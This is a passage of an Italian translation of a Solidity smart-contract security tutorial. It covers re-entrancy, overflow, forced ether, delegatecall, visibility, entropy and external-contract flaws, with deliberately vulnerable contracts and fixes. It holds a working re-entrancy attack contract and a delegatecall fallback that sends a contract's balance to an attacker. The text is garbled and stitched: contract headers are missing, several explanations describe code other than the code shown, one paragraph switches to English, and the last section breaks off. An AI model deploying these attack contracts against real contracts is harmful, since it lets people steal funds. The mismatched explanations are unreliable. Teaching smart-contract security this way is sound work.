uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}

Questo contratto ha due funzioni pubbliche. `depositFunds()` e `withdrawFunds()`. La funzione `depositFunds()` incrementa semplicemente i saldi dei mittenti. La funzione `withdrawFunds()` consente al mittente di specificare l'importo di wei da prelevare. Avrà successo solo se l'importo richiesto da prelevare è inferiore a 1 ether e non è stato effettuato un prelievo nell'ultima settimana. O no?...

La vulnerabilità si trova alla riga \[17\] dove inviamo all'utente l'importo di ether richiesto. Considera un attaccante malintenzionato che crea il seguente contratto,

Attack.sol:```solidity
import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // initialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(!reEntrancyMutex);
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
    // set the reEntrancy mutex before the external call
    reEntrancyMutex = true;
    msg.sender.transfer(_weiToWithdraw);
    // release the mutex after the external call
    reEntrancyMutex = false;
}

<h3 id="re-example">Esempio reale: The DAO</h3>

[The DAO](https://en.wikipedia.org/wiki/The_DAO_(organization)) (Organizzazione Autonoma Decentralizzata) è stato uno dei maggiori hack avvenuti nelle prime fasi di sviluppo di Ethereum. All'epoca, il contratto deteneva oltre 150 milioni di dollari USA. La re-entrancy ha giocato un ruolo fondamentale nell'attacco che alla fine ha portato all'hard-fork che ha creato Ethereum Classic (ETC). Per una buona analisi dell'exploit del DAO, vedi [il post di Phil Daian](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/).

<h2 id="ouflow"><span id="SP-2">2. Overflow e Underflow Aritmetici</span></h2>

La Ethereum Virtual Machine (EVM) specifica tipi di dati a dimensione fissa per gli interi. Ciò significa che una variabile intera può rappresentare solo un certo intervallo di numeri. Un `uint8`, ad esempio, può memorizzare solo numeri nell'intervallo \[0,255\]. Tentare di memorizzare `256` in un `uint8` restituirà `0`. Se non si presta attenzione, le variabili in Solidity possono essere sfruttate se l'input dell'utente non viene controllato e vengono eseguite operazioni che producono numeri al di fuori dell'intervallo del tipo di dati che li memorizza.

Per ulteriori letture su overflow e underflow aritmetici, vedi [Come proteggere i tuoi Smart Contract](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d), [Migliori pratiche per gli Smart Contract Ethereum](https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow) e [Ethereum, Solidity e gli integer overflow: programmare blockchain come nel 1970](https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/)

<h3 id="ou-vuln">La vulnerabilità</h3>

Un overflow/underflow si verifica quando viene eseguita un'operazione che richiede a una variabile a dimensione fissa di memorizzare un numero (o un dato) che è al di fuori dell'intervallo del tipo di dati della variabile.

Ad esempio, sottrarre `1` da una variabile `uint8` (intero senza segno a 8 bit, cioè solo positivo) che memorizza `0` come valore, restituirà il numero `255`. Questo è un underflow. Abbiamo assegnato un numero al di sotto dell'intervallo del `uint8`; il risultato *si avvolge su sé stesso* e fornisce il numero più grande che un `uint8` può memorizzare. Allo stesso modo, aggiungere `2^8=256` a un `uint8` lascerà la variabile invariata, poiché abbiamo percorso l'intera lunghezza dell'`uint` (per i matematici, questo è simile ad aggiungere $2\pi$ all'angolo di una funzione trigonometrica, $\sin(x) = \sin(x+2\pi)$). Aggiungere numeri più grandi dell'intervallo del tipo di dati è chiamato overflow. Per chiarezza, aggiungere `257` a un `uint8` che attualmente ha valore zero restituirà il numero `1`. A volte è istruttivo pensare alle variabili a tipo fisso come cicliche, dove si ricomincia da zero se si aggiungono numeri oltre il numero più grande memorizzabile, e viceversa per lo zero (dove si inizia a contare alla rovescia dal numero più grande man mano che si sottrae da 0).

Questi tipi di insidie numeriche consentono agli aggressori di abusare del codice e di creare flussi logici imprevisti. Ad esempio, considera il contratto di blocco temporale qui sotto.

TimeLock.sol:```solidity
contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

Questo è un semplice contratto token che impiega una funzione `transfer()`, consentendo ai partecipanti di spostare i propri token. Riesci a vedere l'errore in questo contratto?

Il difetto si trova nella funzione `transfer()`. L'istruzione require alla riga \[13\] può essere elusa utilizzando un underflow. Considera un utente che non ha saldo. Potrebbe chiamare la funzione `transfer()` con qualsiasi `_value` diverso da zero e superare l'istruzione require alla riga \[13\]. Questo perché `balances[msg.sender]` è zero (e un `uint256`), quindi sottrarre qualsiasi importo positivo (escluso `2^256`) risulterà in un numero positivo a causa dell'underflow descritto sopra. Questo vale anche per la riga \[14\], dove il nostro saldo verrà accreditato con un numero positivo. Quindi, in questo esempio, abbiamo ottenuto token gratuiti a causa di una vulnerabilità di underflow.

<h3 id="ou-prevention">Tecniche di prevenzione</h3>

La tecnica (attualmente) convenzionale per proteggersi dalle vulnerabilità di under/overflow è usare o costruire librerie matematiche che sostituiscono gli operatori matematici standard; addizione, sottrazione e moltiplicazione (la divisione è esclusa perché non causa over/under flow e l'EVM fa revert in caso di divisione per 0).

[OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity) hanno fatto un ottimo lavoro nel costruire e verificare librerie sicure che possono essere sfruttate dalla comunità Ethereum. In particolare, la loro [Safe Math Library](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) è un riferimento o una libreria da usare per evitare vulnerabilità di under/over flow.

Per dimostrare come queste librerie vengono usate in Solidity, correggiamo il contratto `TimeLock`, usando la libreria `SafeMath` di Open Zepplin. Il contratto senza overflow diventerebbe:```solidity
library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract TimeLock {
    using SafeMath for uint; // use the library for uint type
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() public payable {
        balances[msg.sender] = balances[msg.sender].add(msg.value);
        lockTime[msg.sender] = now.add(1 weeks);
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;

mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
    require(msg.value == 0.5 ether); // each play is 0.5 ether
    uint currentBalance = this.balance + msg.value;
    // ensure no players after the game as finished
    require(currentBalance <= finalMileStone);
    // if at a milestone credit the players account
    if (currentBalance == payoutMileStone1) {
        redeemableEther[msg.sender] += mileStone1Reward;
    }
    else if (currentBalance == payoutMileStone2) {
        redeemableEther[msg.sender] += mileStone2Reward;
    }
    else if (currentBalance == finalMileStone ) {
        redeemableEther[msg.sender] += finalReward;
    }
    return;
}

function claimReward() public {
    // ensure the game is complete
    require(this.balance == finalMileStone);
    // ensure there is a reward to give
    require(redeemableEther[msg.sender] > 0);
    uint transferValue = redeemableEther[msg.sender];
    redeemableEther[msg.sender] = 0;
    msg.sender.transfer(transferValue);
}

Questo contratto rappresenta un semplice gioco (che naturalmente invoca [race-conditions](#race-conditions)) in cui i giocatori inviano quanti di `0.5 ether` al contratto nella speranza di essere il giocatore che raggiunge per primo uno dei tre traguardi. I traguardi sono denominati in ether. Il primo a raggiungere il traguardo può richiedere una parte dell'ether quando il gioco è terminato. Il gioco termina quando viene raggiunto il traguardo finale (`10 ether`) e gli utenti possono richiedere le loro ricompense.

I problemi del contratto `EtherGame` derivano dallo scarso utilizzo di `this.balance` sia nella riga \[14\] (e di conseguenza \[16\]) sia nella riga \[32\]. Un attaccante malintenzionato potrebbe inviare forzatamente una piccola quantità di ether, diciamo `0.1 ether`, tramite la funzione `selfdestruct()` (discussa in precedenza), per impedire a qualsiasi futuro giocatore di raggiungere un traguardo. Poiché tutti i giocatori legittimi possono inviare solo incrementi di `0.5 ether`, `this.balance` non sarebbe più un numero semi-intero, in quanto includerebbe anche il contributo di `0.1 ether`. Questo impedisce che tutte le condizioni if nelle righe \[18\], \[21\] e \[24\] risultino vere.

Ancora peggio, un attaccante vendicativo che ha mancato un traguardo potrebbe inviare forzatamente `10 ether` (o una quantità equivalente di ether che spinga il saldo del contratto oltre `finalMileStone`), bloccando così tutte le ricompense nel contratto per sempre. Questo accade perché la funzione `claimReward()` farebbe sempre revert, a causa della require alla riga \[32\] (cioè `this.balance` è maggiore di `finalMileStone`).

<h3 id="ether-prevention">Tecniche di Prevenzione</h3>

Questa vulnerabilità deriva tipicamente dall'uso improprio di `this.balance`. La logica del contratto, quando possibile, dovrebbe evitare di dipendere da valori esatti del saldo del contratto, perché questo può essere manipolato artificialmente. Se si applica una logica basata su `this.balance`, assicurarsi di tenere conto di saldi imprevisti.

Se sono richiesti valori esatti dell'ether depositato, si dovrebbe usare una variabile definita in proprio che venga incrementata nelle funzioni payable, per tracciare in modo sicuro l'ether depositato. Questa variabile non sarà influenzata dall'ether forzato inviato tramite una chiamata a `selfdestruct()`.

Con questo in mente, una versione corretta del contratto `EtherGame` potrebbe essere la seguente:```solidity
contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;
    uint public depositedWei;

    mapping (address => uint) redeemableEther;

    function play() public payable {
        require(msg.value == 0.5 ether);
        uint currentBalance = depositedWei + msg.value;
        // ensure no players after the game as finished
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        depositedWei += msg.value;
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(depositedWei == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

// modify the zeroth number in the sequence
function setStart(uint _start) public {
    start = _start;
}

function setFibonacci(uint n) public {
    calculatedFibNumber = fibonacci(n);
}

function fibonacci(uint n) internal returns (uint) {
    if (n == 0) return start;
    else if (n == 1) return start + 1;
    else return fibonacci(n - 1) + fibonacci(n - 2);
}

Questa libreria fornisce una funzione in grado di generare l'*n*-esimo numero di Fibonacci nella sequenza. Consente agli utenti di modificare il numero iniziale della sequenza (`start`) e calcolare gli *n*-esimi numeri simili a Fibonacci in questa nuova sequenza.

Consideriamo ora un contratto che utilizza questa libreria.


`FibonacciBalance.sol`:```solidity
contract FibonacciBalance {

    address public fibonacciLibrary;
    // the current fibonacci number to withdraw
    uint public calculatedFibNumber;
    // the starting fibonacci sequence number
    uint public start = 3;
    uint public withdrawalCounter;
    // the fibonancci function selector
    bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));

    // constructor - loads the contract with ether
    constructor(address _fibonacciLibrary) public payable {
        fibonacciLibrary = _fibonacciLibrary;
    }

    function withdraw() {
        withdrawalCounter += 1;
        // calculate the fibonacci number for the current withdrawal user
        // this sets calculatedFibNumber
        require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
        msg.sender.transfer(calculatedFibNumber * 1 ether);
    }

    // allow users to call fibonacci library functions
    function() public {
        require(fibonacciLibrary.delegatecall(msg.data));
    }
}

// fallback - this will run if a specified function is not found
function() public {
    storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
    // is called we don't send out any ether.
    <attacker_address>.transfer(this.balance); // we take all the ether
}

Notice that this attack contract modifies the `calculatedFibNumber` by changing storage `slot[1]`. In principle, an attacker could modify any other storage slots they choose to perform all kinds of attacks on this contract. I encourage all readers to put these contracts into [Remix](https://remix.ethereum.org) and experiment with different attack contracts and state changes through these `delegatecall` functions.

It is also important to notice that when we say that `delegatecall` is state-preserving, we are not talking about the variable names of the contract, rather the actual storage slots to which those names point. As you can see from this example, a simple mistake, can lead to an attacker hijacking the entire contract and its ether.

<h3 id="dc-prevention">Tecniche di prevenzione</h3>

Solidity fornisce la parola chiave `library` per implementare contratti libreria (vedi la [documentazione di Solidity](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#libraries) per ulteriori dettagli). Questo garantisce che il contratto libreria sia stateless e non auto-distruggibile. Forzare le librerie a essere stateless mitiga le complessità del contesto di storage dimostrate in questa sezione. Le librerie stateless impediscono anche attacchi in cui un attaccante modifica direttamente lo stato della libreria per influenzare i contratti che dipendono dal codice della libreria.
Come regola generale, quando si usa `DELEGATECALL` prestare molta attenzione ai possibili contesti di chiamata sia del contratto libreria sia del contratto chiamante e, quando possibile, costruire librerie stateless.

<h3 id="dc-example">Esempio reale: Parity Multisig Wallet (secondo hack)</h3>

Il secondo hack di Parity Multisig Wallet è un esempio di come il contesto di un codice di libreria ben scritto possa essere sfruttato se eseguito in un contesto non previsto. Esistono numerose buone spiegazioni di questo hack, come questa panoramica: [Parity MultiSig Hacked. Again](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838) di Anthony Akentiev, questa [domanda su stack exchange](https://ethereum.stackexchange.com/questions/30128/explanation-of-parity-library-suicide/30130) e [An In-Depth Look at the Parity Multisig Bug](http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/).

Per aggiungersi a questi riferimenti, esploriamo i contratti che sono stati sfruttati. Il contratto libreria e il contratto wallet possono essere trovati sul github di parity [qui](https://github.com/paritytech/parity/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol).

Guardiamo agli aspetti rilevanti di questo contratto. Ci sono due contratti di interesse contenuti qui, il contratto libreria e il contratto wallet.

Il contratto libreria,```solidity
contract WalletLibrary is WalletEvents {

  ...

  // throw unless the contract is not yet initialized.
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }

  // constructor - just pass on the owner array to the multiowned and
  // the limit to daylimit
  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
  }

  // kills the contract sending everything to `_to`.
  function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
  }

  ...

}

Nota che il contratto `Wallet` essenzialmente passa tutte le chiamate al contratto `WalletLibrary` tramite una delegate call. L'indirizzo della costante `_walletLibrary` in questo frammento di codice funge da segnaposto per il contratto `WalletLibrary` effettivamente distribuito (che si trovava all'indirizzo `0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4`).

L'operazione prevista di questi contratti era quella di avere un semplice contratto `Wallet` a basso costo di distribuzione, la cui base di codice e funzionalità principale risiedeva nel contratto `WalletLibrary`. Sfortunatamente, il contratto `WalletLibrary` è esso stesso un contratto e mantiene il proprio stato. Riesci a capire perché questo potrebbe essere un problema?

È possibile inviare chiamate al contratto `WalletLibrary` stesso. In particolare, il contratto `WalletLibrary` poteva essere inizializzato e diventare posseduto. Un utente ha fatto questo chiamando la funzione `initWallet()` sul contratto `WalletLibrary`, diventando proprietario del contratto libreria. Lo stesso utente, successivamente, ha chiamato la funzione `kill()`. Poiché l'utente era proprietario del contratto Library, il modificatore ha avuto effetto e il contratto libreria ha eseguito il suicidio. Poiché tutti i contratti `Wallet` esistenti fanno riferimento a questo contratto libreria e non contengono alcun metodo per modificare tale riferimento, tutte le loro funzionalità, inclusa la capacità di ritirare ether, vanno perse insieme al contratto `WalletLibrary`. Più direttamente, tutto l'ether in tutti i portafogli multi-sig Parity di questo tipo diventa istantaneamente perso o permanentemente irrecuperabile.

<h2 id="visibility"><span id="SP-5">5. Visibilità predefinite</span></h2>

Le funzioni in Solidity hanno specificatori di visibilità che determinano come è consentito chiamare le funzioni. La visibilità stabilisce se una funzione può essere chiamata esternamente dagli utenti, da altri contratti derivati, solo internamente o solo esternamente. Esistono quattro specificatori di visibilità, descritti in dettaglio nella [Documentazione di Solidity](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#visibility-and-getters). Le funzioni sono `public` per impostazione predefinita, consentendo agli utenti di chiamarle esternamente. Un uso errato degli specificatori di visibilità può portare ad alcune devastanti vulnerabilità negli smart contract, come discusso in questa sezione.

<h3 id="visibility-vuln">La vulnerabilità</h3>

La visibilità predefinita per le funzioni è `public`. Pertanto, le funzioni che non specificano alcuna visibilità saranno chiamabili da utenti esterni. Il problema si presenta quando gli sviluppatori ignorano erroneamente gli specificatori di visibilità su funzioni che dovrebbero essere private (o chiamabili solo all'interno del contratto stesso).

Esploriamo rapidamente un esempio banale.```solidity
contract HashForEther {

    function withdrawWinnings() {
        // Winner if the last 8 hex characters of the address are 0.
        require(uint32(msg.sender) == 0);
        _sendWinnings();
     }

     function _sendWinnings() {
         msg.sender.transfer(this.balance);
     }
}

Nota che nessuna delle due funzioni ha specificato esplicitamente una visibilità. Entrambe le funzioni sono di default `public`. La funzione `initWallet()` viene chiamata nel costruttore dei wallet e imposta i proprietari per il wallet multi-firma, come si può vedere nella funzione `initMultiowned()`. Poiché queste funzioni sono state accidentalmente lasciate `public`, un attaccante è stato in grado di chiamarle sui contratti distribuiti, reimpostando la proprietà all'indirizzo dell'attaccante. Essendo il proprietario, l'attaccante ha poi prosciugato i wallet di tutto il loro ether, per un totale di \$31M.

<h2 id="entropy"><span id="SP-6">6. Illusione dell'Entropia</span></h2>

Tutte le transazioni sulla blockchain di Ethereum sono operazioni deterministiche di transizione di stato. Ciò significa che ogni transazione modifica lo stato globale dell'ecosistema Ethereum e lo fa in modo calcolabile, senza incertezze. Questo implica in definitiva che all'interno dell'ecosistema blockchain non esiste alcuna fonte di entropia o casualità. Non esiste una funzione `rand()` in Solidity. Ottenere entropia decentralizzata (casualità) è un problema ben noto e sono state proposte molte idee per affrontarlo (vedi ad esempio [RandDAO](https://github.com/randao/randao) oppure l'uso di una catena di hash come descritto da Vitalik in questo [post](https://vitalik.ca/files/randomness.html)).

<h3 id="entropy-vuln">La Vulnerabilità</h3>

Alcuni dei primi contratti costruiti sulla piattaforma Ethereum erano basati sul gioco d'azzardo. Fondamentalmente, il gioco d'azzardo richiede incertezza (qualcosa su cui scommettere), il che rende piuttosto difficile costruire un sistema di gioco sulla blockchain (un sistema deterministico). È chiaro che l'incertezza deve provenire da una fonte esterna alla blockchain. Questo è possibile per scommesse tra pari (vedi ad esempio la [tecnica commit-reveal](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract)), ma è significativamente più difficile se si vuole implementare un contratto che agisca come *il banco* (come nel blackjack o nella roulette). Una trappola comune è l'uso di variabili di blocchi futuri, come hash, timestamp, blocknumber o gas limit. Il problema è che queste sono controllate dal miner che estrae il blocco e pertanto non sono realmente casuali. Considera, ad esempio, un contratto intelligente per la roulette con una logica che restituisce un numero nero se l'hash del blocco successivo termina con un numero pari. Un miner (o un pool di miner) potrebbe scommettere \$1M sul nero. Se risolve il blocco successivo e scopre che l'hash termina con un numero dispari, non pubblicherebbe il proprio blocco e ne minerebbe un altro finché non trova una soluzione con l'hash del blocco che sia un numero pari (supponendo che la ricompensa del blocco e le commissioni siano inferiori a $1M). L'uso di variabili passate o presenti può essere ancora più devastante, come dimostra Martin Swende nel suo eccellente [post sul blog](http://martin.swende.se/blog/Breaking_the_house.html). Inoltre, usare esclusivamente variabili di blocco significa che il numero pseudo-casuale sarà lo stesso per tutte le transazioni in un blocco, quindi un attaccante può moltiplicare le proprie vincite eseguendo molte transazioni all'interno di un blocco (nel caso ci sia una scommessa massima).

<h3 id="entropy-prevention">Tecniche di Prevenzione</h3>

La fonte di entropia (casualità) deve essere esterna alla blockchain. Questo può essere fatto tra pari con sistemi come [commit-reveal](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract), oppure modificando il modello di fiducia in un gruppo di partecipanti (come in [RandDAO](https://github.com/randao/randao)). Può anche essere fatto tramite un'entità centralizzata, che agisce come un oracolo di casualità. Le variabili di blocco (in generale, ci sono alcune eccezioni) non dovrebbero essere utilizzate come fonte di entropia perché possono essere manipolate dai miner.

<h3 id="entropy-example">Esempio Reale: Contratti PRNG</h3>

Arseny Reutov ha scritto un [post sul blog](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620) dopo aver analizzato 3649 contratti intelligenti attivi che utilizzavano una qualche forma di generatore di numeri pseudo-casuali (PRNG) e ha trovato 43 contratti che potevano essere sfruttati.

<h2 id="contract-reference"><span id="SP-7">7. Riferimento a Contratti Esterni</span></h2>

Uno dei vantaggi del *computer globale* di Ethereum è la possibilità di riutilizzare il codice e interagire con contratti già distribuiti sulla rete. Di conseguenza, un gran numero di contratti fa riferimento a contratti esterni e, in generale, usa chiamate di messaggi esterni per interagire con questi contratti. Queste chiamate di messaggi esterni possono nascondere le intenzioni di attori malintenzionati in modi non ovvi, come discuteremo.

<h3 id="cr-vuln">La Vulnerabilità</h3>

In Solidity, qualsiasi indirizzo può essere convertito in un contratto, indipendentemente dal fatto che il codice all'indirizzo rappresenti il tipo di contratto che si sta convertendo. Questo può essere ingannevole, soprattutto quando l'autore del contratto cerca di nascondere codice dannoso. Illustriamo questo con un esempio:

Considera un frammento di codice che implementa rudimentalmente la cifratura [Rot13](https://github.com/al1ex/soliditysecurity/blob/HEAD/www.wikipedia.com/rot13).

`Rot13Encryption.sol`:```solidity
//encryption contract
contract Rot13Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
            }
        }
        emit Result(text);
    }
}

// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
    encryptionLibrary = _encryptionLibrary;
}

function encryptPrivateData(string privateInfo) {
    // potentially do some operations here
    encryptionLibrary.rot13Encrypt(privateInfo);
 }

Il problema con questo contratto è che l'indirizzo `encryptionLibrary` non è pubblico o costante. Pertanto il deployer del contratto potrebbe aver fornito un indirizzo nel costruttore che punta a questo contratto:```solidity
//encryption contract
contract Rot26Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
            }
        }
        emit Result(text);
    }
}

function rot13Encrypt(string text) public {
    emit Print(text);
}

Se l'indirizzo di uno di questi contratti fosse fornito nel costruttore, la funzione `encryptPrivateData()` produrrebbe semplicemente un evento che stampa i dati privati non cifrati. Sebbene in questo esempio un contratto simile a una libreria sia stato impostato nel costruttore, accade spesso che un utente privilegiato (come un `owner`) possa modificare gli indirizzi dei contratti libreria. Se un contratto collegato non contiene la funzione chiamata, verrà eseguita la funzione di fallback. Ad esempio, con la riga `encryptionLibrary.rot13Encrypt()`, se il contratto specificato da `encryptionLibrary` fosse:```solidity
 contract Blank {
     event Print(string text);
     function () {
         emit Print("Here");
         //put malicious code here and it will run
     }
 }

In questo modo un'istanza del contratto referenziato viene creata al momento del deployment e il deployer non può sostituire il contratto `Rot13Encryption` con nient'altro senza modificare lo smart contract.

Un'altra soluzione è hard codare gli indirizzi dei contratti esterni, se noti.

In generale, il codice che chiama contratti esterni dovrebbe essere sempre esaminato con attenzione. Come sviluppatore, quando si definiscono contratti esterni, può essere una buona idea rendere pubblici gli indirizzi dei contratti (cosa che non accade nell'esempio di honey pot riportato di seguito) per consentire agli utenti di esaminare facilmente quale codice viene referenziato dal contratto. Al contrario, se un contratto ha una variabile privata per l'indirizzo del contratto, può essere un segno di comportamento malevolo (come mostrato nell'esempio del mondo reale). Se un utente privilegiato (o qualsiasi utente) è in grado di modificare un indirizzo di contratto utilizzato per chiamare funzioni esterne, può essere importante (in un contesto di sistema decentralizzato) implementare un meccanismo di time-lock o di voto per consentire agli utenti di vedere quale codice viene modificato o per dare ai partecipanti la possibilità di aderire o uscire con il nuovo indirizzo del contratto.


<h3 id="cr-example">Esempio Reale: Re-Entrancy Honey Pot</h3>

Un certo numero di recenti honey pot sono stati rilasciati sulla mainnet. Questi contratti cercano di superare in astuzia gli hacker di Ethereum che tentano di sfruttare i contratti, ma che a loro volta finiscono per perdere ether a causa del contratto che si aspettano di sfruttare. Un esempio impiega l'attacco sopra descritto sostituendo un contratto previsto con uno malizioso nel costruttore. Il codice si trova [qui](https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code):```solidity
pragma solidity ^0.4.19;

contract Private_Bank
{
    mapping (address => uint) public balances;
    uint public MinDeposit = 1 ether;
    Log TransferLog;

    function Private_Bank(address _log)
    {
        TransferLog = Log(_log);
    }

    function Deposit()
    public
    payable
    {
        if(msg.value >= MinDeposit)
        {
            balances[msg.sender]+=msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }

    function CashOut(uint _am)
    {
        if(_am<=balances[msg.sender])
        {
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }

    function() public payable{}

}

contract Log
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;
    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}

